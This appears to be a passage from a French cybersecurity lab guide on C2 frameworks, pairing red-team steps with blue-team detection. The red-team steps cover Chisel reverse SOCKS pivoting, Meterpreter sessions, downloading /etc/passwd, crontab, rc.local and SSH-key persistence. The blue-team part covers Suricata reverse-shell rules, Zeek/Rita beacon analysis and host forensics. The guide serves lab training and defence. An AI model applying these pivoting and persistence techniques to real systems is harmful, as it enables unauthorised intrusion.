C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
8.3 Pivoting avec Chisel (Tunnel TCP moderne)
# Chisel est un outil moderne de tunneling TCP/UDP via HTTP
# Installer Chisel sur Kali :
wget
[Link]
[Link]
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64 && mv
chisel_linux_amd64 /usr/local/bin/chisel
# Sur Kali (serveur Chisel) :
chisel server -p 8000 --reverse
[1] Listening on [Link]:8000...
# Sur Metasploitable (client Chisel - via C2 shell) :
./chisel client [Link]:8000 R:socks
client: Connected (Latency 1ms)
# Kali a maintenant un proxy SOCKS5 sur [Link]:1080 pointant vers
Metasploitable
# Utiliser via proxychains (comme section 8.2)
proxychains nmap -sT -Pn [Link]/24
RED TEAM : Pivoting reseau BLUE TEAM : Defense contre le pivoting
Autoroute : simple, integre dans Metasploit, ideal Segmentation reseau stricte : les serveurs ne
en lab. doivent pas voir le reseau interne.
SOCKS proxy : permet a TOUS les outils de Firewall entre segments : regle 'deny any any' par
passer via le pivot. defaut.
Chisel : tunnel HTTP, passe les firewalls qui EDR : detecter les processus qui creent des
autorisent le port 80/443. connexions TCP inhabituelles.
Monitoring Netflow : identifier les flux entre
segments non autorises.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 9 : Blue Team - Detection des Frameworks C2
Objectif Blue Team
Comprendre les C2 du cote attaquant permet de mieux les detecter du cote defensif. Ce chapitre
couvre la mise en place de la detection C2 sur ton lab avec des outils gratuits : Suricata (IDS),
Zeek (analyse reseau), et l'analyse des logs systeme. C'est la base du travail d'un analyste SOC.
9.1 Installation de Suricata (IDS Reseau)
# Sur Kali - Installer Suricata
sudo apt install suricata -y
sudo suricata-update # Mettre a jour les regles
# Lancer Suricata sur l'interface du lab
sudo suricata -i eth0 -c /etc/suricata/[Link] -l /var/log/suricata/
# Surveiller les alertes en temps reel
sudo tail -f /var/log/suricata/[Link]
sudo tail -f /var/log/suricata/[Link] | python3 -m [Link] | head -50
# Exemple d'alerte Suricata sur un scan Nmap :
04/04/2024-10:23:15.123456 [**] [1:2010937:3] ET SCAN Nmap Scripting Engine User-
Agent Detected [**]
[Classification: Web Application Attack] [Priority: 1]
[Link]:48123 -> [Link]:80
# Ecrire une regle Suricata personnalisee pour detecter Meterpreter
sudo nano /etc/suricata/rules/[Link]
# Regle pour detecter les connexions sur port 4444 (Metasploit par defaut) :
alert tcp any any -> $HOME_NET 4444 (msg:"Possible Metasploit C2 port 4444";
sid:9000001; rev:1;)
alert tcp $HOME_NET any -> any 4444 (msg:"Possible reverse shell port 4444";
sid:9000002; rev:1;)
# Recharger Suricata avec les nouvelles regles
sudo suricatasc -c reload-rules
9.2 Zeek (Bro) - Analyse des Protocoles Reseau
# Installer Zeek sur Kali
sudo apt install zeek -y
# Lancer Zeek sur l'interface du lab
sudo zeek -i eth0 /usr/share/zeek/scripts/
# Analyser les logs Zeek (dans le dossier courant)
ls *.log # [Link], [Link], [Link], etc.
cat [Link] | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4 -rn
| head
# Connexions triees par duree (les longues peuvent etre des C2 !)
# Detecter des beacons C2 reguliers avec Rita (outil d'analyse Zeek)
sudo apt install rita -y # Si disponible
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
rita import /path/to/zeek/logs/ lab-dataset
rita show-beacons lab-dataset # Afficher les connexions
periodiques
# Rita identifie les connexions qui ont un pattern regulier -> beacons C2 !
9.3 Analyse des Logs Systeme pour Detecter un C2
# Sur la machine cible (Metasploitable) - detecter une compromission
# Connexions reseau sortantes actives
netstat -tulnp | grep ESTABLISHED
ss -tulnp | grep ESTABLISHED
# Chercher des connexions vers des IPs inconnues
# Processus suspects
ps aux | grep -E 'nc|bash|python|perl|ruby' | grep -v grep
lsof -i -n -P | grep ESTABLISHED # Processus avec connexions ouvertes
# Fichiers modifies recemment
find /tmp /var/tmp /dev/shm -newer /etc/passwd -type f 2>/dev/null
find / -mtime -1 -type f -name '*.sh' 2>/dev/null # Scripts SH modifies dans
24h
# Verifier le crontab et les services
crontab -l && cat /etc/cron* 2>/dev/null
systemctl list-units --type=service --state=running
cat /root/.ssh/authorized_keys 2>/dev/null # Cles SSH ajoutees
# Verifier les logs d'authentification
grep 'Accepted' /var/log/[Link] | tail -20 # Connexions SSH reussies
grep 'Failed' /var/log/[Link] | awk '{print $9}' | sort | uniq -c | sort -
rn
# Installer et lancer rkhunter pour detecter les rootkits
sudo apt install rkhunter chkrootkit -y
sudo rkhunter --check --sk # Scan complet de rootkits
sudo chkrootkit # Scanner complementaire
9.4 Tableau de Detection : Red Team vs Blue Team
Technique C2 Indicateur (IOC) Outil de Detection
Reverse Shell TCP Connexion sortante sur Suricata, netstat, ss, firewall egress
port 4444/1234/9999
Meterpreter Processus ELF inconnu EDR, lsof, Suricata signatures MSF
+ connexion TCP
chiffree
Empire HTTP Requetes HTTP Zeek [Link], Suricata, proxy logs
regulieres avec URI
aleatoire
Sliver mTLS Connexion TLS vers IP Zeek [Link], inspection TLS
inconnue avec cert auto-
signe
Beacon periodique Connexions toutes les Rita (analyse Zeek), Netflow
60/300 secondes
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Technique C2 Indicateur (IOC) Outil de Detection
exactement
Crontab backdoor Entree cron inconnue, Wazuh HIDS, audit crontab, AIDE
commande bash
suspecte
SSH backdoor key Cle inconnue dans Wazuh FIM, audit /root/.ssh/, SIEM
authorized_keys
Service systemd Service inconnu avec systemctl list-units, Wazuh
ExecStart bash/nc
Pivoting SOCKS Proxy SOCKS local sur netstat -tulnp, surveillance des ports
port 1080
DNS Tunneling Requetes DNS Zeek [Link], Pi-hole, Suricata DNS
frequentes, long TXT
records
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 10 : Exercices Pratiques Complets Red vs Blue
Format des exercices
Chaque exercice a deux parties : Red Team (attaque en lab) et Blue Team (detection). Pour
maximiser l'apprentissage, realiser la partie Red Team d'abord, puis la partie Blue Team. Cela
permet de comprendre POURQUOI la detection fonctionne.
Exercice Complet 1 : Etablir un C2 Metasploit et le Detecter
Partie Red Team (30 min)
1. Sur Kali : lancer le listener Metasploit sur port 4444.
2. Generer un payload ELF Linux stageless avec MSFvenom.
3. Obtenir un acces initial sur Metasploitable (vsftpd backdoor ou SSH brute force).
4. Transferer et executer le payload ELF sur Metasploitable.
5. Verifier la session Meterpreter recue sur Kali.
6. Executer 5 commandes post-exploitation : sysinfo, getuid, download /etc/passwd, search -f
*.conf, shell.
7. Ajouter une persistance via crontab.
8. Restaurer le snapshot Metasploitable apres l'exercice.
Partie Blue Team (30 min)
9. Sur Kali : lancer Suricata sur eth0 AVANT l'attaque.
10. Refaire l'attaque Red Team pendant que Suricata monitore.
11. Analyser /var/log/suricata/[Link] : quelles alertes sont generees ?
12. Sur Metasploitable : verifier netstat/ss pour les connexions etablies.
13. Identifier le processus malveillant avec ps aux et lsof.
14. Trouver la persistance crontab : crontab -l.
15. Ecrire un rapport : quels IOCs as-tu identifies ? Quels auraient ete les premiers signes
d'alerte pour un admin vigilant ?
Exercice Complet 2 : C2 Discret via Socat TLS et Detection Zeek
Partie Red Team
16. Generer un certificat auto-signe sur Kali (openssl req...).
17. Lancer un listener Socat TLS sur port 443.
18. Sur Metasploitable (via shell initial) : executer le client Socat TLS vers Kali.
19. Executer des commandes depuis le shell TLS Socat.
20. Observer que le trafic capture par Wireshark est chiffre et illisible.
Partie Blue Team
21. Lancer Zeek sur eth0 : sudo zeek -i eth0.
22. Analyser [Link] : zeek-cut id.orig_h id.resp_h server_name validation_status < [Link].
23. Identifier la connexion TLS suspecte : certificat auto-signe, pas de SNI.
24. Analyser [Link] pour la duree et le volume de la connexion.
25. Conclure : pourquoi TLS sur port 443 est-il difficile a bloquer mais detectable ?
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Exercice Complet 3 : Persistence SSH et Forensics
Partie Red Team
26. Via Meterpreter ou shell C2 : generer une cle SSH sur Kali.
27. Installer la cle publique dans /root/.ssh/authorized_keys sur Metasploitable.
28. Se connecter via SSH sans mot de passe depuis Kali (acces persistant).
29. Ajouter aussi une entree dans /etc/[Link] pour un reverse shell au demarrage.
30. Redemarrer Metasploitable et verifier que l'acces persiste.
Partie Blue Team - Forensics
31. Analyser authorized_keys : cat /root/.ssh/authorized_keys - identifier la cle inconnue.
32. Verifier les derniers logins : last et lastlog.
33. Analyser /var/log/[Link] : grep Accepted - voir les connexions SSH reussies.
34. Checker [Link] : cat /etc/[Link] - trouver la commande malveillante.
35. Nettoyer : supprimer la cle de authorized_keys, corriger [Link].
36. Installer Wazuh pour monitorer automatiquement ces fichiers a l'avenir.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Annexe : Matrice MITRE ATT&CK et Glossaire C2
A.1 Techniques C2 dans MITRE ATT&CK
MITRE ATT&CK est le referentiel mondial des techniques utilisees par les attaquants. Voici le
mapping des techniques de ce guide avec leurs IDs ATT&CK :
ID ATT&CK Technique Couvert dans ce guide
T1059.004 Unix Shell Reverse shells bash, stabilisation shell
T1059.006 Python Reverse shell Python, agents Python Empire
T1071.001 Web Protocols (HTTP/S) Empire HTTP listener, Sliver HTTP, payload PHP
T1071.004 DNS DNS tunneling concept, Sliver DNS
T1090.001 Internal Proxy Proxychains, autoroute Metasploit
T1090.003 Multi-hop Proxy Chisel reverse SOCKS, pivoting multi-sauts
T1105 Ingress Tool Transfer wget/curl pour transferer les payloads
T1543.002 Systemd Service Persistance via service systemd malveillant
T1053.003 Cron Persistance via crontab malveillant
T1098.004 SSH Authorized Keys Backdoor via cle SSH autorisee
T1572 Protocol Tunneling Socat TLS, Chisel HTTP tunnel
T1573 Encrypted Channel Meterpreter TLS, Socat TLS, Sliver mTLS
A.2 Glossaire C2
Terme Definition
Agent / Implant Programme malveillant installe sur la cible qui communique avec le
serveur C2.
Beacon Agent qui se connecte periodiquement au C2 (toutes les X secondes) au
lieu de maintenir une connexion permanente. Plus discret.
C2 (Command & Infrastructure permettant a l'attaquant de controler les machines
Control) compromises.
Callback Connexion initiee par l'agent vers le serveur C2.
Dropper Petit programme dont le seul role est de telecharger et executer l'agent
C2 reel.
Egress Trafic sortant du reseau (de l'interieur vers l'exterieur).
Fileless Technique ou l'agent s'execute en memoire sans jamais ecrire de fichier
sur le disque.
IOC (Indicator of Evidence technique d'une compromission : hash de fichier, IP de C2,
Compromise) pattern reseau.
Jitter Variation aleatoire ajoutee au delai entre deux beacons pour rendre le
pattern moins regulier.
Listener Service qui ecoute les connexions entrantes des agents sur le serveur
C2.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Terme Definition
LotL (Living off the Utiliser des outils natifs du systeme (bash, powershell, python) pour eviter
Land) la detection.
Payload Code executable envoye vers la cible pour etablir la connexion C2.
Pivot Utiliser une machine compromise comme relais pour atteindre d'autres
machines.
Staged Payload en deux parties : un petit stager initial qui telecharge le payload
complet.
Stageless Payload autonome : tout le code C2 est inclus dans le fichier initial.
Stager Premier composant d'un payload staged : minimal, se connecte et
telecharge le stage 2.
Teamserver Serveur C2 partage entre plusieurs operateurs Red Team.
A.3 Ressources pour Approfondir
• MITRE ATT&CK : [Link] - Referentiel complet des techniques
• Site : [Link] - Comparatif de tous les frameworks C2 du marche
• GitHub : [Link] - Documentation officielle Sliver
• GitHub : [Link] - Documentation officielle Empire
• GitHub : [Link] - Wiki Metasploit
• Livre : 'Red Team Development and Operations' - Joe Vest, James Tubberville
• Livre : 'The Hacker Playbook 3' - Peter Kim (chapitres Red Team)
• YouTube : HackTheBox Academy - Cours C2 et post-exploitation
• TryHackMe : Room 'Metasploit: Meterpreter' pour les debutants
• TryHackMe : Path 'Jr Penetration Tester' - couvre tous les concepts C2 de base
• Certification : OSCP inclut les C2 dans son curriculum (lab de 24h)
• Certification : eCPPTv2 (eLearnSecurity) - pentest complet avec pivoting et C2
Conseil final Blue Team
La meilleure defense contre les C2 n'est pas de les bloquer en entree (un attaquant trouve
toujours un chemin) mais de les detecter RAPIDEMENT apres leur installation. Objetif : Mean
Time To Detect (MTTD) le plus court possible. Un C2 non detecte pendant 197 jours (moyenne
mondiale) cause enormement plus de dommages qu'un C2 detecte en 24h.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation